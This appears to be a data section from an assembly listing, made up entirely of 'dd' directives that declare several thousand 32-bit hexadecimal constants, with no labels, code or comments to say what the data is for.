dd 2F5BEEDCh, 50DA3E86h, 6BC53DE1h, 0FA1918ECh, 0C675EB85h
dd 0AD5D29E3h, 644BD4F3h, 56DBA08Ah, 4BD978Dh, 0DF83BC26h
dd 3D9802D4h, 63511244h, 0A48D544Fh, 32E0BCC1h, 511C3D65h
dd 0E11ECE49h, 0AECCBCFEh, 0CDD7A85Dh, 0BDA69AABh, 0FCA827A8h
dd 77F6E4B9h, 0B32931BAh, 2C7F1A18h, 894288F0h, 2D6C1ADEh
dd 987F9724h, 7CB60B50h, 0BE3389C6h, 6278DB0Ah, 0C61EB5Ch
dd 0A85CFA2Bh, 0E5FA7117h, 4E024989h, 6DDCA791h, 0EB28224Dh
dd 0C060F3A4h, 1D51E2Eh, 6A1D7001h, 467AE154h, 0F3407C6Dh
dd 3FC93058h, 0E564D892h, 5DE5C409h, 0A9E77C68h, 0D742E7D8h
dd 66650442h, 0F98FF099h, 0FD84A477h, 0EF96C05Dh, 83BACC17h
dd 94AC05B9h, 0AB2BC32Dh, 0D475A308h, 9DCE424h, 46743BC2h
dd 883C3CD0h, 4412FFB7h, 72D739Ah, 0F91A22BCh, 36835FCDh
dd 349F56BBh, 0F035CFFDh, 730A3FFh, 6591FE40h, 4A86739Ah
dd 35DDDE70h, 0D5348EA0h, 0D79E8C9Ah, 0B443CCF3h, 3EEC0DD3h
dd 8240F3F1h, 0E1A8C00Dh, 12D59F90h, 0DB0F6F68h, 0D8149EFh
dd 0AF86831Fh, 86E5669h, 94654570h, 76644F1Ah, 486230h
dd 0F9A2785Fh, 0DFED9EFCh, 2522431Ch, 0DFA827C3h, 703A3EB3h
dd 0CF046029h, 0B686010Eh, 2BDB1231h, 456739F1h, 0CACD54BFh
dd 2250C9Fh, 48456EF2h, 0F360640Fh, 3BA158CBh, 0F26CD6Ah
dd 0BE0B2F33h, 0EFF9E44Dh, 0FE504822h, 0BAB396B2h, 1BF95C41h
dd 0BD966E8Bh, 7A0FB222h, 36320C60h, 0FDEB677Ch, 0B68C5982h
dd 694C1014h, 0F4EC94E8h, 3096BF6Eh, 3040411h, 574BC7FBh
dd 0BCE76824h, 2BD6248Dh, 3B069464h, 86010AB4h, 364823FAh
dd 4370BCC9h, 19020818h, 58C71D25h, 0C9F1BDE5h, 9CD043B2h
dd 23AE335Dh, 76ED2A83h, 8EAA340Ah, 20CE2706h, 0BBBBE48h
dd 0AA8E4A28h, 0F08EC3AFh, 0AB1285h, 315E00Fh, 0C6665D21h
dd 0EDD99A1Fh, 0BF61B786h, 0C0C4AECEh, 417331AAh, 4C6A855Ah
dd 56592CE5h, 4C742624h, 3A004C4Ch, 0A054EE57h, 8FB1D7BEh
dd 334DD5FCh, 76D20373h, 0D17BF0B3h, 0AC5A1959h, 2F09FF1Ah
dd 0A4CE7286h, 6008BDE7h, 0FD0DB542h, 0A5E095E7h, 4E6E6057h
dd 2F19CC78h, 9A2A5DA3h, 0A456B9A5h, 3D5E66ABh, 0C7EC54C5h
dd 0B09758D6h, 8C9F8CF2h, 0F3479D1Ch, 6A71C7ACh, 0A3CBD875h
dd 0F7BE0551h, 0E1FA7B5Bh, 0EC37EAA6h, 3DC0635Bh, 5A97B3E1h
dd 0A3496DBAh, 9EEF808Bh, 3338C9E2h, 0ACD312B0h, 3E1169C5h
dd 9AEDE225h, 4F68770h, 20FBE6F6h, 0EF049C77h, 9E01D64Dh
dd 8E2B778Fh, 5D74B37Bh, 425480E0h, 0FF083861h, 0C4DFAC5Dh
dd 0FA6EB2FCh, 23BF4D01h, 0C41F0F90h, 6F3105Dh, 0ED0F63F9h
dd 0ECAF1865h, 4836C0C9h, 0F97A1F10h, 90E00952h, 1121784Dh
dd 413557F2h, 4C2D23Fh, 0E8FD9853h, 0BB0D04BFh, 61483008h
dd 2C4F4E2Ch, 75EDA961h, 0BA5421D2h, 0DE3615A4h, 9A992724h
dd 0EA016576h, 0A80A726Dh, 21694AA5h, 6E72CDA6h, 6628EB5Bh
dd 6FD794D0h, 0AA639C03h, 54CC1499h, 3EBBDE1Dh, 0F1B9373Eh
dd 4F5FF94Ch, 77957824h, 0AA085900h, 15849A04h, 23830247h
dd 23E49C3Dh, 5B854957h, 0C28CAA78h, 54C99893h, 0FE9A6A0Fh
dd 8A64C0F9h, 634C63D6h, 42408E03h, 62D31480h, 0A1B058B2h
dd 0D194D685h, 24419D7Eh, 98071B15h, 0A5DD0642h, 262A4692h
dd 8C0D48B8h, 0D1534591h, 11FAEC12h, 6C53E720h, 0FBE1768Eh
dd 3BC305E9h, 23E67368h, 6361DEDBh, 5E82FAE3h, 19D4D0Ch
dd 0F6153765h, 9B4C954Ah, 952FBC2Ah, 0B679412Ch, 0B2174BAEh
dd 91ED5642h, 4F23B8C8h, 2795C7A3h, 8CB13817h, 38D470Ah
dd 0F70C3353h, 8E774066h, 5DDB4E88h, 8C3A9158h, 572EB469h
dd 101C9F98h, 199F85F1h, 0E507B3B0h, 0BF63D452h, 0EBBE0971h
dd 7B112B62h, 13577A5Dh, 0BA3F75B9h, 41CCEEF1h, 2ADDDE08h
dd 0F192630Eh, 73A3A412h, 87A074FDh, 8766FE7h, 6DF70E0h
dd 2F6DCF9Fh, 0EE703AFh, 3E107D00h, 13360DCAh, 1E22B050h
dd 0B5EB143Ah, 4F56A6EBh, 3B05D4AFh, 21CF1036h, 0BBC9B401h
dd 9C72446Ch, 43E07BFCh, 1AE53E2Ch, 0FB06B0D5h, 3FFEA1DBh
dd 0B623418Ch, 4757C70Ah, 4A496286h, 0B0080A12h, 0BAD47B76h
dd 37A4DCF0h, 0BB4E0963h, 5B04B3Bh, 0C6680E7Eh, 76DD62DEh
dd 6ED1B110h, 9A160861h
dd 0C7D6397Bh, 0A71B8A1Eh, 4A6E058Bh, 8C21863Eh, 7D353827h
dd 35FB2CB9h, 0ED341B21h, 88EC99F7h, 61D528B7h, 58846E1Dh
dd 1966AE42h, 0EA48F904h, 3DB09BCh, 0BB8CF1BCh, 0F01E62BBh
dd 0DDEA497Dh, 0E6E6690Ch, 32ADC9A0h, 0CB10ECB0h, 2E076AFBh
dd 2116B89Dh, 0D49D7023h, 0A7834460h, 218073A1h, 384BAC92h
dd 0CB652763h, 9337E78Fh, 0D43B39E0h, 96D926ECh, 8C159AB4h
dd 4CEB13C7h, 67D6C285h, 48370FC7h, 0BDA366C3h, 54CB6D7Fh
dd 0B2292B8Ch, 814E4E98h, 331F1AEBh, 0D0E80C53h, 4DA78BC3h
dd 445C0B73h, 0FF16273Eh, 0B7377CBAh, 95CC2690h, 175671A8h
dd 41157A03h, 0A9F986E2h, 0E20E49F7h, 9059FFA4h, 0F8AC5356h
dd 36A2B625h, 1EB72BF3h, 0FE03EB67h, 2176292Eh, 0E69F7172h
dd 0EE87DDD5h, 889C3B31h, 11C919F7h, 0E1BCC79Dh, 0D1036A6h
dd 0DB7DADC8h, 22E25E19h, 78BF1FFDh, 7F8FC3C5h, 81F8B2E3h
dd 0E4A39100h, 0EB82747h, 2AD1F73Ah, 0E48AC65h, 5499AD93h
dd 5BAACEA7h, 3F02FC8h, 0C3326F7Ch, 0C48DBD41h, 0D90B021Fh
dd 854675DFh, 4615707Bh, 15270001h, 0F86B6284h, 0F99727E2h
dd 92CFB377h, 0D1784DBCh, 3A36C864h, 69FF64B0h, 2D8ED99Dh
dd 38FBF5Dh, 763EA8D0h, 48D1548Eh, 0E9E931A3h, 8067898Bh
dd 0BE8380C5h, 0F8C652B3h, 306F26EBh, 655BA4D6h, 83CDC24Dh
dd 3706AE0Bh, 0F53984ADh, 0FA0E165h, 0D8432307h, 66F5D6C4h
dd 6D743C64h, 2C271D2h, 32CA3205h, 49754429h, 3A60D233h
dd 0CCE5F8EBh, 0B16D360h, 458E5289h, 41D6D050h, 0B395AC7Ah
dd 4B609FA8h, 0F5BA51ECh, 0D82D9E71h, 0C8A5D28Dh, 0B948CB9Bh
dd 0D3D3FE51h, 0F4CB1263h, 376E000h, 95EC69EBh, 0E1904C2Dh
dd 26E6AAD5h, 21EF9180h, 60CFAD3h, 3C4044C3h, 10D9E80Eh
dd 982518F7h, 0F28C4818h, 628024C9h, 0E1B1E9FCh, 72A83E36h
dd 498AF3E2h, 13014BD2h, 5D56B948h, 7D9B222h, 470BC267h
dd 799B61C2h, 0FE8D3B2Ah, 346CADCCh, 38BF07CEh, 0D6234CC5h
dd 72E16367h, 548F91D2h, 4AA73F2Eh, 0F2DD91D0h, 0EF5D0047h
dd 0D2F30178h, 0D4FEC360h, 810DB9FAh, 1BCFE083h, 2EF4A769h
dd 0CC2C6B4Fh, 903493A5h, 244AFD43h, 72DA582Ch, 9A811451h
dd 9E0838EDh, 0D1B54D9Ah, 4740C44h, 5AC370ECh, 0AA3D8632h
dd 0E7E28269h, 1BDAC767h, 1183782Ah, 5EAC6189h, 0B507B892h
dd 3D756297h, 530CF0DAh, 0CA370AE4h, 482CE93Eh, 7C54EB2Bh
dd 65082098h, 1FD0800Ch, 1C1740F5h, 0DB9C4C7Bh, 0F2CF77AEh
dd 8AB6E8F6h, 0F2ABA0A1h, 0DA1D80Eh, 1CFADFCEh, 3F7F9A53h
dd 2E70C228h, 8E755C51h, 30472D4Fh, 9FAA1AA4h, 90DAC560h
dd 4AA5C50Dh, 941E204h, 7C4D75BDh, 0A529F247h, 0BA30A1A8h
dd 0EE9D9603h, 0F8079554h, 0C3E05F77h, 0EB31F98Ah, 19D5EEC7h
dd 6714F16Dh, 78C65394h, 0F9C6974Fh, 0C2D3939Ch, 0F259A852h
dd 17F24E97h, 0B9223AB2h, 57B1BEE3h, 94A83020h, 0AB3E8794h
dd 44BB6185h, 0E2711706h, 9B024ADDh, 0B53B924Ch, 0DB141FECh
dd 77CB1D8Bh, 16DADCE1h, 8E7E8983h, 591F9CC2h, 8225BD92h
dd 0A104D8E2h, 6C2E7168h, 8AD6CB7Ah, 1D027DA7h, 99056B50h
dd 9F5D9998h, 0CCC8FDC2h, 9FF83202h, 0DAE017CBh, 1933D30Eh
dd 0DAD3D77Fh, 89919E35h, 457F7A4Fh, 75C71882h, 86FA59A5h
dd 39A44376h, 308FB622h, 0BC3B85C5h, 1504E357h, 5CDB24EEh
dd 71035FEBh, 0E8383EFEh, 8953D8F7h, 2D12DA5Ch, 0E5499C49h
dd 9B33CAA0h, 42765852h, 0FA3C020h, 0EDFF675Ch, 0F1E740A7h
dd 2C4049A1h, 6B8F65CFh, 303747E8h, 6754D1C7h, 94978E82h
dd 3228C260h, 0FB9A810Eh, 2727E8D4h, 0BC969EB1h, 36F199B4h
dd 8DD25055h, 0F4669761h, 6EB53652h, 1A0B5727h, 0DB9D4F84h
dd 0B92CAFC5h, 15985B0h, 4D1B7505h, 0F0E5EF68h, 0DF05D537h
dd 5AF3F282h, 1249C87Eh, 0ADA7CE95h, 0C71829E1h, 5E74BA1Dh
dd 0E12DBB4Bh, 0DF1E81BCh, 0CEA7E56Bh, 57BD8B33h, 18EEA5E6h
dd 0EAAD4FD0h, 0DB292E62h, 682EA659h, 77B4A4CEh, 5BFDFB49h
dd 747C5440h, 8ACF6A38h, 64FB0967h, 0B6CDAE3h, 40081A50h
dd 2EA7441Ah, 16F29FF2h, 1278F48Dh, 1C37AD1h, 0F0AAA63Ah
dd 660FF880h, 0EDE6C6Bh, 0DE6C7E2Eh, 0B7D51CD9h, 5998FCA5h
dd 5067FBABh, 4BB9576Fh, 0CBCF3763h, 0EFE30D28h, 0D8BA0512h
dd 956244E7h, 3F5B752h, 109F2D04h, 71125959h, 2A08858Bh
dd 0EF058BC9h, 36FD6EB9h, 55EDB3BFh, 0FFFE96F8h, 93423FCCh
dd 95E68A5Ch, 1D4D3F8Fh, 0A9D8EE63h, 0A477A2EFh, 276AA109h
dd 57950947h, 52C628ADh, 0EF03A7D8h, 0F0DD9FEFh, 9E6DC8D1h
dd 86705E3Bh, 39ED5C75h, 5B4C4101h, 35A5EED3h, 0D8A90BE2h
dd 0D82311C0h, 5948ABD5h, 0FB978B13h, 833702C6h, 8D3C811Bh
dd 0F2F39498h, 0F0CD24D7h, 0F205A0F5h, 0D0C25EDAh, 10F98303h
dd 22EE7371h, 4101E5ECh, 16CACC2Eh, 1581E938h, 0CB4AD7CAh
dd 4381106h, 0C2ECA2B0h, 0EB3E8256h, 7D42D5ECh, 41EE48ADh
dd 2F0B0874h, 3EF6B972h, 0E1CDFB9Fh, 8A4FA6F1h, 9F919FF7h
dd 0CF214BB2h, 89006FCFh, 17E8A11Fh, 0CF5E5A95h, 0FE3BEBC2h
dd 0A4D5F77Eh, 903C07Ch, 0ED77E5B3h, 88154F29h, 0B5B305B5h
dd 0A92C2ADDh, 96FF2238h, 370FA907h, 0F0A01B3Eh, 0BD4FA39Ah
dd 7CD1A909h, 0EC48185Fh, 0F073FA34h, 0F16D9C6Ah, 2BD3BE52h
dd 9261A5F6h, 73B9F1F5h, 0A5397F26h, 35ED1FF1h, 0AC7D8C37h
dd 0DA7B3E88h, 0DA42915Ah, 2B63A838h, 0F51D135Fh, 2A05157Eh
dd 977A8BCFh, 0C56DB8E1h, 390A8F6Dh, 0FA81BAF9h, 8B3CEA95h
dd 0C1AE7367h, 13E40529h, 0A26570D3h, 7EB82231h, 5BF88E52h
dd 7FF41AACh, 15772F7Bh, 45A86FF6h, 8C140BD3h, 5B4EAE04h
dd 5DB27AA9h, 5AEC7428h, 0EA91D638h, 99155DB2h, 0CDAC6043h
dd 0E0DD441Fh, 0E7A6BF04h, 9935AB70h, 14A32E72h, 0EBE7F5FAh
dd 785DB4A4h, 0ABCC4E2Bh, 9CDD9FEEh, 0A057C00h, 0B3439EF2h
dd 332A37D4h, 92033235h, 0D11FF97Ah, 3274C722h, 0F80B9B5Eh
dd 2A32D5DCh, 7A6FD43Bh, 15087E5Ch, 57DF02CEh, 0C4A66483h
dd 0F65B6708h, 3E686E3Fh, 0DFCB00BEh, 0E8516C17h, 7DFD66F5h
dd 0EEFFEEA7h, 785484E6h, 8181BD25h, 77304CE9h, 4B0490D8h
dd 3E425B1Eh, 38B0D83Eh, 6CD93D7Ah, 13323C5Eh, 61CB6C31h
dd 0C8EF6DDFh, 1666C86h, 0A89CCA41h, 0E94476DEh, 0D10447ABh
dd 7F4F03E4h, 0B0FCE6B8h, 0DAEDB89Ch, 0A8A5F732h, 0AEFFEBB5h
dd 70BA9A17h, 0C6E825F6h, 79589900h, 0A4031A8Ah, 0F8B25296h
dd 9CF5359Bh, 7912922h, 38462710h, 0C6FCEEF0h, 0F48225A0h
dd 0B33CC02Bh, 2100A5EDh, 9356A325h, 734F8498h, 3CD3BDCFh
dd 7CB8B7F9h, 0C83E5A4Dh, 24FA2A18h, 408AB139h, 0FA9E25D0h
dd 7A17C40Fh, 0BBA1D39Fh, 0B51D57FCh, 15D7941Bh, 9071CD5Bh
dd 342BDFA8h, 1FEEC790h, 0D30BC6DEh, 1B949E19h, 30C2FF0Fh
dd 33466027h, 0E6BEF9AFh, 84BC6EAAh, 5D395BB1h, 69D63762h
dd 0D4F80165h, 37BD23C0h, 27F335F7h, 0A3BF1EE1h, 30BDA15Eh
dd 20EFF6B3h, 0B153BCD3h, 2D864B96h, 854A8FA3h, 79831C4Eh
dd 337CD925h, 8D3720E3h, 6E359315h, 0C247AAD3h, 0D7F57979h
dd 745B7CE0h, 0A85F95C7h, 44AD8D8h, 0FA82FF00h, 9EE9F927h
dd 7980A26Ch, 1970508h, 0A2754A95h, 0C4EA2477h, 824F70Dh
dd 0D0D9624Ch, 8C1A8DDDh, 0ADDD2E06h, 0E115DBF7h, 86AF38A2h
dd 0E720CAB7h, 2AF48A1Dh
dd 8E41D977h, 0DDC5F318h, 0A34B03E9h, 95221A75h, 0BF5175A9h
dd 0C51B543Dh, 63BA4238h, 84D3E6DAh, 0A95A048h, 0AA9E0762h
dd 18E3D12Eh, 1A0E0E1Bh, 3642128Dh, 0DA044B3Dh, 1B7C8FEEh
dd 430113F9h, 46FBFC15h, 169310DEh, 1D9EAD70h, 43BFDA83h
dd 29C2A017h, 5E3F81E8h, 0A6F9939h, 0FB8237B5h, 0F29428FDh
dd 0D3CC0BBDh, 74B13D9Ch, 5EF4C893h, 20DF7A83h, 23D25396h
dd 4D846FFh, 850099B1h, 73DBADFCh, 70874A54h, 6CCC1006h
dd 0D7D3AE00h, 779F340h, 24103BB2h, 0ADB2658Ch, 720633B8h
dd 0A3D4D92Dh, 0BC194718h, 7BD0D8C2h, 4DFB6153h, 0EEE207ABh
dd 9DF8B4C2h, 0C9F248E2h, 0AFD7594Ch, 543A6691h, 350B061Dh
dd 4C18D049h, 833F1D8Ah, 0C8435C76h, 0D9EC3BBCh, 0ACCB57A8h
dd 0FB966F66h, 0EEB8A026h, 39257EA5h, 2E09B817h, 0FC5BEF6Dh
dd 41053E95h, 0F87E6DC7h, 18390052h, 256555F2h, 91EA7FAAh
dd 0C08023FFh, 663A63B2h, 0A7A7F924h, 4376FEADh, 0B693DD14h
dd 1C03C7AEh, 4247D9BDh, 431C6C31h, 0A244DBFEh, 0DFAAE25Ah
dd 0AA3089AEh, 79CD1AC2h, 7657A849h, 0F5028C26h, 0C43D2F6h
dd 84E5372Ch, 0CC5A5BD7h, 0E2CDE61Bh, 35B1478h, 33429F26h
dd 0E033DAE0h, 5EEB1BECh, 9B13AEB1h, 0AC34FFF3h, 0B5367B71h
dd 3B6F1B20h, 0AC560B11h, 11438ACDh, 0E3EFDDE4h, 1F385D23h
dd 8D3B191Bh, 6D11518Bh, 0C29152C8h, 0F642DCEEh, 0EDB10F4Fh
dd 0B6EF8C1Dh, 1B8F9443h, 470F674Bh, 0B34BFBC7h, 7D786643h
dd 46352F11h, 0CD2E69D6h, 6BD67153h, 0FA515289h, 0D2AD5FC6h
dd 0FE90B170h, 0C0BCF680h, 0F1AD8E8Ch, 23F28B3Fh, 141006D5h
dd 0B886C0C8h, 0DBA8EDBEh, 69751A0Dh, 7A08EDF4h, 61815A8Dh
dd 0DA4700E1h, 1DEE7887h, 78E74F28h, 0D9A41483h, 7A9AEB6Eh
dd 411224EDh, 6F538C63h, 0D3932A37h, 0FA55B996h, 0F3E302FFh
dd 0FFE5B0D9h, 69C14475h, 99F1BFC9h, 0E8E0940Bh, 5509DF7Eh
dd 0F6250B6h, 5FF73E36h, 9456F0D7h, 2E0025B8h, 0FA012BBDh
dd 0FB0F0D97h, 1B8841BCh, 3AFB8463h, 48783BCAh, 1EEBAF8h
dd 0B618B0D1h, 6167E4FCh, 0B8408281h, 0F7DAB22h, 0F0B5791Fh
dd 88E94EB7h, 5BDD7AC5h, 0D6DAE2DDh, 1855870Eh, 22B6600Dh
dd 0F8C40E81h, 3107365Ch, 248EDD10h, 6B9F124Dh, 0DFD8284h
dd 0BF1126EFh, 8C868E78h, 15BB474Bh, 5ED3A6BDh, 6931F354h
dd 328DCA74h, 6E05DB75h, 6AE8787Ch, 52DB910Ch, 0A3AA7D4h
dd 24898B55h, 0F587303Eh, 2119D48Dh, 7A41F064h, 0A284C542h
dd 95E5D7D4h, 12622DA7h, 0C4665A2Ch, 0E4F11420h, 0BC1289DFh
dd 8624EAB4h, 0BD5662D1h, 0DA29864Bh, 0DC33D711h, 56524B91h
dd 0BF18A17Bh, 0A6E4A458h, 938B12BFh, 195F1A7Eh, 0CEA808C9h
dd 6982BFD9h, 8C9FF980h, 1F62EC4Bh, 48C12A65h, 7AC3AE3Ch
dd 0C0826F11h, 6A815852h, 4735CEA3h, 4C2ADFD5h, 0F2FB6DC9h
dd 15A11E25h, 0D309D662h, 3F11EE54h, 0C106E9DBh, 0E15CE533h
dd 0CC364289h, 0D52EA175h, 78BEA413h, 7FC1DF27h, 54317335h
dd 9F4EC207h, 0E33DB944h, 616C417Ch, 131E1293h, 18F94C3Bh
dd 53268453h, 0A2753262h, 56E6848Dh, 0D6183307h, 0ED80418Eh
dd 961777A2h, 0FB0DFABDh, 582647ADh, 9423EB80h, 0B9263FBEh
dd 65D817B4h, 97D9B86h, 69131337h, 4DCC3D2Ah, 99338A49h
dd 0FD07D6DAh, 7EA09895h, 0A35A7597h, 4F555043h, 0EFCA4D05h
dd 0E5D548E7h, 0EE0FF282h, 3212EA69h, 8D6D42CFh, 0CE22148h
dd 0C11CAA4Ch, 95E84B5Eh, 6D47DCE8h, 349C0E2Ah, 0A74CB871h
dd 39D46BB4h, 23D31FDDh, 36C72CD2h, 0ADAE275Fh, 0BA076B91h
dd 6C29847Ch, 0D3DED439h, 244BFC0Ah, 0F2FB6CF7h, 58372559h
dd 585694FBh, 311840Ah, 0D3477B03h, 0F3201078h, 343E5F71h
dd 43F3E87Ch, 5E96465Bh, 0AE123412h, 2B4B7AC3h, 0CBF9B556h
dd 8AA4008Eh, 0D475CF59h, 8F3B46C1h, 92E64FD5h, 4288FFA8h
dd 5838CA45h, 1EB9A679h, 583FA265h, 0DD5B0ECFh, 0B421451h
dd 0F14374E2h, 69F2F4ADh, 9FB958F0h, 2A9A6F19h, 0E4062236h
dd 0E15C283Dh, 1A049DEAh, 0E6B7DA53h, 6888E983h, 0DBC97F02h
dd 0AE8D3631h, 0E1D826B2h, 7C66959Ch, 97AE3BB0h, 0B8E26B6Ah
dd 1134DEE0h, 42EAE70h, 0B9196269h, 0AA22499Fh, 2568B692h
dd 1B45ADB0h, 585730C9h, 9D956CB8h, 0CF58E215h, 0FE4E3B1h
dd 9015F222h, 0BFC4AE9Dh, 4E978446h, 0A56F7291h, 0D5BABBC5h
dd 26A23C50h, 47F647C8h, 55EBD583h, 7DD6956Ah, 9D425631h
dd 0FA5B592Ch, 0B8CF8A02h, 0CD5433Dh, 0DC780003h, 6C45D57Ah
dd 0C283F8D4h, 96A49855h, 4A63CCB9h, 0C8C5F790h, 1E3560E8h
dd 4BDB3ABDh, 7AE857F5h, 0A14C1C6Bh, 0DE713781h, 0B209A20Ah
dd 0A1AE9DCDh, 0FA284AAEh, 0DE1A27D4h, 539EFD59h, 0CC5915DFh
dd 5B84F982h, 0E8B1DE5h, 0EE6682C7h, 0AF4EDB5Bh, 213C5A17h
dd 0ACC01901h, 0E878DBFDh, 0F960E7D8h, 0FC14814Ch, 4382A201h
dd 83EC9FBCh, 86676133h, 0DD3E22A8h, 0F733E4DFh, 2E148686h
dd 2D3900ABh, 6E82CAFh, 9ED3E85Ch, 0ED18B745h, 4A30B53Dh
dd 2F24FAFBh, 0F8713FE6h, 0E4836A6Bh, 0F203FFA1h, 0C505674Dh
dd 0E05647Bh, 9DA26EF2h, 2050481Ah, 5EC31E4h, 0C341B92Ah
dd 9C71A5C9h, 0DAF092A1h, 4E74F1F1h, 3FF5ADF0h, 7E17B0D6h
dd 61072302h, 8DD5D812h, 6C7C273Bh, 489DE55Dh, 780C5AF2h
dd 0E6084EC9h, 5ADAA55Bh, 0E288D739h, 0A2105D4Fh, 6A6A0380h
dd 226F3FEh, 1BF861DDh, 23300FB8h, 42C8B672h, 0A21DA5A0h
dd 0C9778689h, 0A4759F43h, 20802830h, 4E5ECD0Ah, 5507B5BEh
dd 621B8C3Ch, 3A9B76CEh, 7373352Ch, 2917858Bh, 4115676h
dd 1F602AC5h, 3F241626h, 9E07BDF2h, 9612D922h, 8AF985C4h
dd 27F5E23h, 5ADE3177h, 41F64CC1h, 3BFA0EB3h, 1AA1385Dh
dd 13BA974Dh, 0A7B54FEBh, 9FF15D2Eh, 595F9917h, 22ECA95Fh
dd 0D4C98E42h, 51D024BBh, 12D76F05h, 6A0D1909h, 25B2AB01h
dd 41AD24B7h, 463F47C5h, 0D546A2B0h, 976E0BA7h, 47FB5472h
dd 1719B483h, 2F82EF86h, 6A99C48Eh, 1D19CCFEh, 0E75AA8A3h
dd 7662C47Ah, 8A650D28h, 0F8CDCB24h, 8444034Eh, 3BB5EEA1h
dd 0F2B20E75h, 191A079Eh, 0CA8F8DA6h, 4ABE5842h, 4A0631BAh
dd 1B1BA303h, 14677764h, 2EC37826h, 4E29D306h, 0A35073EFh
dd 8D931FAAh, 0A25A24B9h, 1179985Dh, 52D9E515h, 35FCDF39h
dd 0A9F30BB7h, 5FBFF6DAh, 6C6F3D99h, 0E14071B9h, 0F41FB003h
dd 3CBAAD5Bh, 26F659ECh, 87B2D1BEh, 9CA0E701h, 0DAFB3ADh
dd 298391CAh, 4A35211Fh, 0BDCCC1F1h, 4855AA28h, 7F82E7C2h
dd 9480BF15h, 400D8F14h, 68F10263h, 7A848CBEh, 58F44A7Eh
dd 1A7248C1h, 4DF69A33h, 0A3DE2213h, 0DCE9F6BCh, 7AB2D26h
dd 6BF25F61h, 413DB0D5h, 59776A85h, 0C589AF8Bh, 1F2F7074h
dd 9F7FCEC3h, 925B1D24h, 0EB20E53Ch, 53312653h, 0AB7F0C9h
dd 6859AF7Eh, 0B36E5EAh, 53427C0Fh, 1C7D18CBh, 0AFD23576h
dd 0EF09F16Ah, 0AD9F77EBh, 0F6662206h, 0CB62AF7Ah, 187AB7CCh
dd 128470DBh, 7F8C4554h, 0C7D29937h, 0CB4FCD6Eh, 98FF3604h
dd 0DF907245h, 782A8C13h, 4E12490Bh, 0BAA2932Bh, 8FDAD0FBh
dd 3645252Ch, 0DB2B1E82h, 3A9D0DC6h, 5B20542h, 0AB882B99h
dd 0CED22899h, 0F2FBC6D0h, 0F7F5E149h, 0D1868208h, 0D10BE224h
dd 77030D97h, 2A1B04B1h, 0A25C44C5h, 0F92F826Ch, 5D4E5DB3h
dd 55B88498h, 1D7E825Ch
dd 0B850CDC7h, 9868E2D8h, 89541458h, 0AF6F75C0h, 67958AFCh
dd 0DF0E7379h, 99A487B3h, 0CE06EEF8h, 6522D20Ah, 0B42F83A2h
dd 7680CF00h, 1E7976ADh, 9844A478h, 61F5C891h, 0F8F0D335h
dd 3F47E33Dh, 61CF79F9h, 238C57CDh, 68C79524h, 910ED771h
dd 491E677Ch, 897D8CF9h, 2BAD20F1h, 179C12A5h, 26A338CAh
dd 4DDC97E1h, 0F4DA1FB9h, 0F6C4AAA1h, 7F4D8D1Fh, 0FCAD0B8Ah
dd 905AC72Eh, 8F90C052h, 33867104h, 4A774AF8h, 66A62E45h
dd 0D92D6E74h, 0C2C57FCBh, 93EB3B12h, 0D34CA9EDh, 5A8A2127h
dd 0B0FEA9DEh, 95BA5482h, 7E81B08Eh, 24FDDF7Eh, 0CAB6DA99h
dd 242AB7A0h, 0B9DEB9Ah, 0E1DABAEAh, 0E2B25C76h, 97F591F3h
dd 0CC132D84h, 0A04FB324h, 28A0FF24h, 9B43F5Ah, 1A479C7Fh
dd 27A20219h, 4E5F46Dh, 5EA3CDFDh, 0D0D3575Ch, 27C77ACDh
dd 0B45E59F8h, 0CE07EDBBh, 6D696F50h, 614484C4h, 41E61D5Bh
dd 56963184h, 0BEF83E6Ah, 61BC2902h, 5753F83h, 7807ECA5h
dd 560C02A4h, 7706C1A3h, 0A04E2771h, 34B2CD8Ah, 301A7E5Eh
dd 0A566AB9Bh, 0F4CB87FBh, 39E46797h, 8B319DF0h, 9CD2765h
dd 6B45E10Ch, 0FA2E209Ah, 0F2938A4Fh, 1DF6A060h, 0C5401E45h
dd 1C8A2920h, 0AD80C799h, 0B7EBC223h, 89F44F6Eh, 0E8E52544h
dd 0FED7C991h, 71AC4A86h, 64C700B3h, 0D68ED4BBh, 0B264737h
dd 37880C5Eh, 6C61349Fh, 0D735AB0Eh, 43CE157Ah, 0D13F093h
dd 0FC9E2675h, 0D0C76CC0h, 0B650244Ah, 80EC2726h, 12AE0A9Eh
dd 75594A85h, 40376EF3h, 3C072EEh, 6EE79E0h, 3CF58188h
dd 66DDA6CDh, 0FAC19800h, 0DEF89A61h, 5501FE8Bh, 86F2CA89h
dd 37465493h, 30FE5E2Fh, 0BD52F667h, 0EF6194ACh, 0A0F62162h
dd 2CD6B6D7h, 46BAC647h, 6E61E93h, 88EA8320h, 0ACC67C59h
dd 612B6E69h, 55B55843h, 6ADA4EB0h, 14A36894h, 0C73A5D32h
dd 4816A7h, 0E5CD06Ch, 0B0460523h, 6E1ED7D1h, 0F98C5ACBh
dd 76B044A5h, 4EA2FB15h, 6EC2BE5Ah, 0F36774CBh, 0F620E502h
dd 0D88A2DDFh, 5D549323h, 3DA2DA52h, 6994E06h, 0EB2DDCB2h
dd 0E361170Ch, 947EDD4Eh, 0E710410h, 3A2F76FFh, 60DDDE49h
dd 0AC89AB1Ah, 0CA39BE3Eh, 76E60F30h, 1EB6DD6Bh, 3A1D9964h
dd 0C671C516h, 1ED2FAE6h, 0A4796343h, 8B3505A1h, 98F7AE84h
dd 7DFC27B5h, 3B2E4284h, 4FCC4740h, 99C085Ch, 9E34E772h
dd 49D87D05h, 0B6DBE727h, 5AA0E7FFh, 0B819759h, 0E5633047h
dd 0D4014772h, 970EFF5Ch, 0AB0645FEh, 4BE0E390h, 0D4476278h
dd 0F77C11Ah, 23DB6439h, 8CF7095Bh, 0F6173815h, 53E90FA2h
dd 7B22A243h, 6D430E17h, 3813A7FAh, 0BD65112Fh, 0E221B9DAh
dd 1DF43886h, 77404C48h, 0E315E291h, 0E984EB2Ah, 0C33A73D4h
dd 0E67A34BDh, 19D4EDE9h, 8FC664E7h, 0C7353050h, 0A7C22287h
dd 5D15A71Bh, 2E00935Bh, 5A80BADDh, 208BFCA2h, 0F580B850h
dd 0CF2B9FB6h, 0EA7ADA74h, 0C32328ADh, 0E51DF267h, 9928F3C0h
dd 9F45E0B1h, 20790F49h, 3CF7FAF4h, 7D577F20h, 0C1662E1Fh
dd 0B3A4E119h, 0B869659h, 0AF659862h, 849A5E51h, 825F122h
dd 2573A926h, 0B6FCBC25h, 0FC9040EBh, 7C6005B2h, 2EDD950Dh
dd 0EEA57C18h, 2472D6C0h, 0D85C229h, 2A8EC7D3h, 3E6560CFh
